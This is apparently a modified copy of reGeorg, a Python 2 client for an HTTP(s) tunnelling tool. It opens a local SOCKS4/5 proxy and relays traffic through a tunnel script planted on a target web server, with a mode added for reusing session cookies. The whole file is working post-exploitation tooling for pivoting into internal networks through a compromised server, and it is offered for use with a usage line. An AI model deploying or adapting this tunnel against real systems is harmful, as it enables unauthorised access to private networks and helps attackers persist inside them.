reGeorg with Cookie

re.py

# 保存为 re.py ，然后 re.py -u http://xx.com/tunnel.aspx -p 8080 -s "PHPSESSIONID: xxxxxxxxxxxxxxxxxx"

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import logging
import argparse
import signal
import sys
import atexit
import httplib
import urllib3
from threading import Thread
from urlparse import urlparse
from socket import *
from threading import Thread
from time import sleep
import re
import random
#import struct

# Constants
SOCKTIMEOUT = 5
RESENDTIMEOUT=300
VER="\x05"
METHOD="\x00"
SUCCESS="\x00"
SOCKFAIL="\x01"
NETWORKFAIL="\x02"
HOSTFAIL="\x04"
REFUSED="\x05"
TTLEXPIRED="\x06"
UNSUPPORTCMD="\x07"
ADDRTYPEUNSPPORT="\x08"
UNASSIGNED="\x09"

BASICCHECKSTRING = "Georg says, 'All seems fine'"



# Globals
READBUFSIZE = 1024

#Logging
RESET_SEQ = "\033[0m"
COLOR_SEQ = "\033[1;%dm"
BOLD_SEQ = "\033[1m"

BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8)

LEVEL = {"INFO" : logging.INFO,
    "DEBUG" : logging.DEBUG,
}

logLevel = "INFO"

COLORS = {
    'WARNING'  : YELLOW,
    'INFO'     : WHITE,
    'DEBUG'    : BLUE,
    'CRITICAL' : YELLOW,
    'ERROR'    : RED,
    'RED'      : RED,
    'GREEN'    : GREEN,
    'YELLOW'   : YELLOW,
    'BLUE'     : BLUE,
    'MAGENTA'  : MAGENTA,
    'CYAN'     : CYAN,
    'WHITE'    : WHITE,
}

def formatter_message(message, use_color = True):
    if use_color:
        message = message.replace("$RESET", RESET_SEQ).replace("$BOLD", BOLD_SEQ)
    else:
        message = message.replace("$RESET", "").replace("$BOLD", "")
    return message

class ColoredFormatter(logging.Formatter):
    def __init__(self, msg, use_color = True):
        logging.Formatter.__init__(self, msg)
        self.use_color = use_color

    def format(self, record):
        levelname = record.levelname
        if self.use_color and levelname in COLORS:
            levelname_color = COLOR_SEQ % (30 + COLORS[levelname]) + levelname + RESET_SEQ
            record.levelname = levelname_color
        return logging.Formatter.format(self, record)
        
class ColoredLogger(logging.Logger):
    
    def __init__(self, name):
        FORMAT = "[$BOLD%(levelname)-18s$RESET]  %(message)s"
        COLOR_FORMAT = formatter_message(FORMAT, True)
        logging.Logger.__init__(self, name, logLevel)     
        if (name == "transfer"):
            COLOR_FORMAT = "\x1b[80D\x1b[1A\x1b[K%s" % COLOR_FORMAT
        color_formatter = ColoredFormatter(COLOR_FORMAT)
        
        console = logging.StreamHandler()
        console.setFormatter(color_formatter)

        self.addHandler(console)
        return


logging.setLoggerClass(ColoredLogger)        
log = logging.getLogger(__name__)
transferLog = logging.getLogger("transfer")

class SocksCmdNotImplemented(Exception):
    pass

class SocksProtocolNotImplemented(Exception):
    pass

class RemoteConnectionFailed(Exception):
    pass

class session(Thread):
    def __init__(self,pSocket,connectString,cookies):
        Thread.__init__(self)
        self.pSocket = pSocket
        self.connectString = connectString
        o = urlparse(connectString)
        try:
            self.httpPort = o.port
        except:
            if o.scheme == "https":
                self.httpPort = 443
            else:
                self.httpPort = 80
        self.httpScheme = o.scheme
        self.httpHost = o.netloc.split(":")[0]
        self.httpPath = o.path
        self.cookieDic = {}
        self.cookie = None
        self.bSingleSessionMode = False
        if o.scheme == "http":
            self.httpScheme = urllib3.HTTPConnectionPool
        else:
            self.httpScheme = urllib3.HTTPSConnectionPool
        if cookies:
            self.bSingleSessionMode = True
            self.socketID = self.reqRand()
            for cookie in cookies.split(';'):
                kv = cookie.strip().split('=')
                self.cookieDic[kv[0]] = kv[1]

    def parseSocks5(self,sock):
        log.debug("SocksVersion5 detected")
        nmethods,methods=(sock.recv(1),sock.recv(1))
        sock.sendall(VER+METHOD)
        ver=sock.recv(1)
        if ver=="\x02": # this is a hack for proxychains
            ver,cmd,rsv,atyp=(sock.recv(1),sock.recv(1),sock.recv(1),sock.recv(1))
        else:
            cmd,rsv,atyp=(sock.recv(1),sock.recv(1),sock.recv(1))
        target = None
        targetPort = None
        if atyp=="\x01":# IPv4
            # Reading 6 bytes for the IP and Port
            target = sock.recv(4)
            targetPort = sock.recv(2)
            target =".".join([str(ord(i)) for i in target])
        elif atyp=="\x03":# Hostname
            targetLen = ord(sock.recv(1)) # hostname length (1 byte)
            target = sock.recv(targetLen)
            targetPort  = sock.recv(2)
            target = "".join([unichr(ord(i)) for i in target])
        elif atyp=="\x04":# IPv6
            target = sock.recv(16)
            targetPort = sock.recv(2)
            tmp_addr=[]
            for i in xrange(len(target)/2):
                tmp_addr.append(unichr(ord(target[2*i])*256+ord(target[2*i+1])))
            target=":".join(tmp_addr)
        targetPort = ord(targetPort[0])*256+ord(targetPort[1])            
        if cmd=="\x02":#BIND
            raise SocksCmdNotImplemented("Socks5 - BIND not implemented")
        elif cmd=="\x03":#UDP
            raise SocksCmdNotImplemented("Socks5 - UDP not implemented")
        elif cmd=="\x01":#CONNECT
            serverIp = target
            try:
                serverIp = gethostbyname(target)
            except:
                log.error("oeps")
            serverIp="".join([chr(int(i)) for i in serverIp.split(".")])
            self.cookie = self.setupRemoteSession(target,targetPort)
            if self.cookie:
                sock.sendall(VER+SUCCESS+"\x00"+"\x01"+serverIp+chr(targetPort/256)+chr(targetPort%256))
                return True
            else:
                sock.sendall(VER+REFUSED+"\x00"+"\x01"+serverIp+chr(targetPort/256)+chr(targetPort%256))
                raise RemoteConnectionFailed("[%s:%d] Remote failed" %(target,targetPort))
            
            
        raise SocksCmdNotImplemented("Socks5 - Unknown CMD")
        
    def parseSocks4(self,sock):
        log.debug("SocksVersion4 detected")
        cmd=sock.recv(1)
        if cmd == "\x01": # Connect
            targetPort = sock.recv(2)
            targetPort = ord(targetPort[0])*256+ord(targetPort[1])
            target = sock.recv(4)
            sock.recv(1)
            target =".".join([str(ord(i)) for i in target])
            serverIp = target
            try:
                serverIp = gethostbyname(target)
            except:
                log.error("oeps")
            serverIp="".join([chr(int(i)) for i in serverIp.split(".")])
            self.cookie = self.setupRemoteSession(target,targetPort)
            if self.cookie:
                sock.sendall(chr(0)+chr(90)+serverIp+chr(targetPort/256)+chr(targetPort%256))
                return True
            else:
                sock.sendall("\x00"+"\x91"+serverIp+chr(targetPort/256)+chr(targetPort%256))
                raise RemoteConnectionFailed("Remote connection failed")
        else:
            raise SocksProtocolNotImplemented("Socks4 - Command [%d] Not implemented" % ord(cmd))
        
    def handleSocks(self,sock):
        # This is where we setup the socks connection
        ver = sock.recv(1)
        if ver == "\x05":
            return self.parseSocks5(sock)
        elif ver == "\x04":
            return self.parseSocks4(sock)

    def cookiesFilter(self,cookie):
        newcookies = []
        if cookie:
            for x in cookie.split(','):
                if ';' in x:
                    match = re.findall('((.+?)=(.+?));(\sdomain=(.+);)?',x.strip())
                    if match:
                        if match[0][4] == self.httpHost or match[0][4] == '':
                            self.cookieDic[match[0][1]] = match[0][2]
                else:
                    self.cookieDic[x.split('=')[0]] = x.split('=')[1]
        for k in self.cookieDic.keys():
            newcookies.append(k + '=' + self.cookieDic[k])
        return '; '.join(newcookies)

    def reqRand(self):
        return ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba',10))

    def setupRemoteSession(self,target,port):
        headers = {"X-CMD": "CONNECT", "X-TARGET": target, "X-PORT": port}
        self.target = target
        self.port = port
        if self.bSingleSessionMode:
            cookie = self.cookiesFilter(None)
            headers['Cookie'] = cookie
            headers['socketID'] = self.socketID
            conns = self.connectString+"?cmd=connect&target={}&port={}&socketID={}".format(target,port,self.socketID)
        else:
            conns = self.connectString+"?cmd=connect&target={}&port={}".format(target,port)
            cookie = None
        conn = self.httpScheme(host=self.httpHost, port=self.httpPort)
        #response = conn.request("POST", self.httpPath, params, headers)
        response = conn.urlopen('POST', conns, headers=headers, body="")
        if response.status == 200:
            status = response.getheader("x-status")
            if status == "OK":
                cookie = response.getheader("set-cookie")
                log.info("[%s:%d] HTTP [200]: cookie [%s]" % (self.target,self.port,cookie))
            else:
                if response.getheader("X-ERROR") != None:
                    log.error(response.getheader("X-ERROR"))
        else:
            log.error("[%s:%d] HTTP [%d]: [%s]" % (self.target,self.port,response.status,response.getheader("X-ERROR")))
            log.error("[%s:%d] RemoteError: %s" % (self.target,self.port,response.data))
        conn.close()
        return self.cookiesFilter(cookie)
            
    def closeRemoteSession(self):
        headers = {"X-CMD": "DISCONNECT", "Cookie":self.cookie}
        if self.bSingleSessionMode:
            headers['socketID'] = self.socketID
            conns = self.httpPath+"?cmd=disconnect&socketID={}".format(self.socketID)
        else:
            conns = self.httpPath+"?cmd=disconnect"
        params=""
        conn = self.httpScheme(host=self.httpHost, port=self.httpPort)
        response = conn.request("POST", conns, params, headers)
        if response.status == 200:
            log.info("[%s:%d] Connection Terminated" % (self.target,self.port))
        conn.close()

    def reader(self):
        conn = urllib3.PoolManager()
        while True:
            try:
                if not self.pSocket: break
                data =""
                headers = {"X-CMD": "READ", "Cookie": self.cookie, "Connection": "Keep-Alive"}
                if self.bSingleSessionMode:
                    headers['socketID'] = self.socketID
                    conns = self.connectString+"?cmd=read&socketID={}".format(self.socketID)
                else:
                    conns = self.connectString+"?cmd=read"
                response = conn.urlopen('POST', conns, headers=headers, body="")
                data = None
                if response.status == 200:
                    status = response.getheader("x-status")
                    if status == "OK":
                        if response.getheader("set-cookie") != None:
                            self.cookie = self.cookiesFilter(response.getheader("set-cookie"))
                        data = response.data
                        # Yes I know this is horrible, but its a quick fix to issues with tomcat 5.x bugs that have been reported, will find a propper fix laters
                        try:
                            if response.getheader("server").find("Apache-Coyote/1.1") > 0:
                                data = data[:len(data)-1]
                        except:
                            pass
                        if data == None: data=""
                    else:
                        data = None
                        log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target,self.port,response.status,status,response.getheader("X-ERROR")))
                else: 
                    log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target,self.port,response.status))
                if data == None: 
                    # Remote socket closed
                    break
                if len(data) == 0:
                    sleep(0.1)
                    continue
                transferLog.info("[%s:%d] <<<< [%d]" % (self.target,self.port,len(data)))
                self.pSocket.send(data)
            except Exception,ex:
                raise ex
        self.closeRemoteSession()
        log.debug("[%s:%d] Closing localsocket" % (self.target,self.port))
        try:
            self.pSocket.close()
        except:
            log.debug("[%s:%d] Localsocket already closed" % (self.target,self.port))

    def writer(self):
        global READBUFSIZE
        conn = urllib3.PoolManager()
        while True:
            try:
                self.pSocket.settimeout(1)
                data = self.pSocket.recv(READBUFSIZE)
                if not data: break
                headers = {"X-CMD": "FORWARD", "Cookie": self.cookie,"Content-Type": "application/octet-stream", "Connection":"Keep-Alive"}
                if self.bSingleSessionMode:
                    headers['socketID'] = self.socketID
                    conns = self.connectString+"?cmd=forward&socketID={}".format(self.socketID)
                else:
                    conns = self.connectString+"?cmd=forward"
                response = conn.urlopen('POST', conns, headers=headers, body=data)
                if response.status == 200:
                    status = response.getheader("x-status")
                    if status == "OK":
                        if response.getheader("set-cookie") != None:
                            self.cookie = self.cookiesFilter(response.getheader("set-cookie"))
                    else:
                        log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target,self.port,response.status,status,response.getheader("x-error")))
                        break
                else: 
                    log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target,self.port,response.status))
                    break
                transferLog.info("[%s:%d] >>>> [%d]" % (self.target,self.port,len(data)))
            except timeout:
                continue
            except Exception,ex:
                raise ex
                break
        self.closeRemoteSession()
        log.debug("Closing localsocket")
        try:
            self.pSocket.close()
        except:
            log.debug("Localsocket already closed")
        
    def run(self):
        try:
            if self.handleSocks(self.pSocket):
                log.debug("Staring reader")
                r = Thread(target=self.reader, args=())
                r.start()
                log.debug("Staring writer")
                w = Thread(target=self.writer, args=())
                w.start()
                r.join()
                w.join()
        except SocksCmdNotImplemented, si:
            log.error(si.message)
            self.pSocket.close()
        except SocksProtocolNotImplemented, spi:
            log.error(spi.message)
            self.pSocket.close()
        except Exception, e:
            log.error(e.message)
            self.pSocket.close()

def askGeorg(connectString, cookies):
    headers = {}
    if cookies:
        headers = {'Cookie': cookies}
    connectString = connectString
    o = urlparse(connectString)
    try:
        httpPort = o.port
    except:
        if o.scheme == "https":
            httpPort = 443
        else:
            httpPort = 80
    httpScheme = o.scheme
    httpHost = o.netloc.split(":")[0]
    httpPath = o.path
    if o.scheme == "http":
        httpScheme = urllib3.HTTPConnectionPool
    else:
        httpScheme = urllib3.HTTPSConnectionPool
    
    conn = httpScheme(host=httpHost, port=httpPort, headers=headers)
    response = conn.request("GET", httpPath)
    if response.status == 200:
        if BASICCHECKSTRING == response.data.strip()[:len(BASICCHECKSTRING)]:
            log.info(BASICCHECKSTRING)
            return True
    conn.close()
    return False

if __name__ == '__main__':
    print """\033[1m
    \033[1;33m       _____                                    
  _____   ______  __|___  |__  ______  _____  _____   ______  
 |     | |   ___||   ___|    ||   ___|/     \|     | |   ___| 
 |     \ |   ___||   |  |    ||   ___||     ||     \ |   |  | 
 |__|\__\|______||______|  __||______|\_____/|__|\__\|______| 
                    |_____|
                    ... every office needs a tool like Georg
                    
  [email protected] / @_w_m__
  [email protected] / @trowalts
  [email protected] / @kamp_staaldraad
  \033[0m
   """
    log.setLevel(logging.DEBUG)
    parser = argparse.ArgumentParser(description='Socks server for reGeorg HTTP(s) tunneller')
    parser.add_argument("-l","--listen-on",metavar="",help="The default listening address",default="127.0.0.1")
    parser.add_argument("-p","--listen-port",metavar="",help="The default listening port",type=int,default="8888")
    parser.add_argument("-r","--read-buff",metavar="",help="Local read buffer, max data to be sent per POST",type=int,default="1024")
    parser.add_argument("-u","--url",metavar="",required=True,help="The url containing the tunnel script")
    parser.add_argument("-v","--verbose",metavar="",help="Verbose output[INFO|DEBUG]",default="INFO")
    parser.add_argument("-s","--single-session-mode",metavar="",help="Single session mode.[Cookie0=0; Cookie1=1]",default=None)
    args = parser.parse_args()
    if (LEVEL.has_key(args.verbose)):
        log.setLevel(LEVEL[args.verbose])
        log.info("Log Level set to [%s]" % args.verbose)
    
    log.info("Starting socks server [%s:%d], tunnel at [%s]" % (args.listen_on,args.listen_port,args.url))
    log.info("Checking if Georg is ready")
    if not askGeorg(args.url, args.single_session_mode):
        log.info("Georg is not ready, please check url")
        exit()
    READBUFSIZE = args.read_buff
    servSock = socket(AF_INET,SOCK_STREAM)
    servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    servSock.bind((args.listen_on,args.listen_port))
    servSock.listen(1000)
    while True:
        try:
            sock,addr_info=servSock.accept()
            sock.settimeout(SOCKTIMEOUT)
            log.debug("Incomming connection")
            session(sock,args.url,args.single_session_mode).start()
        except KeyboardInterrupt,ex:
            break
        except Exception,e:
            log.error(e)
    servSock.close()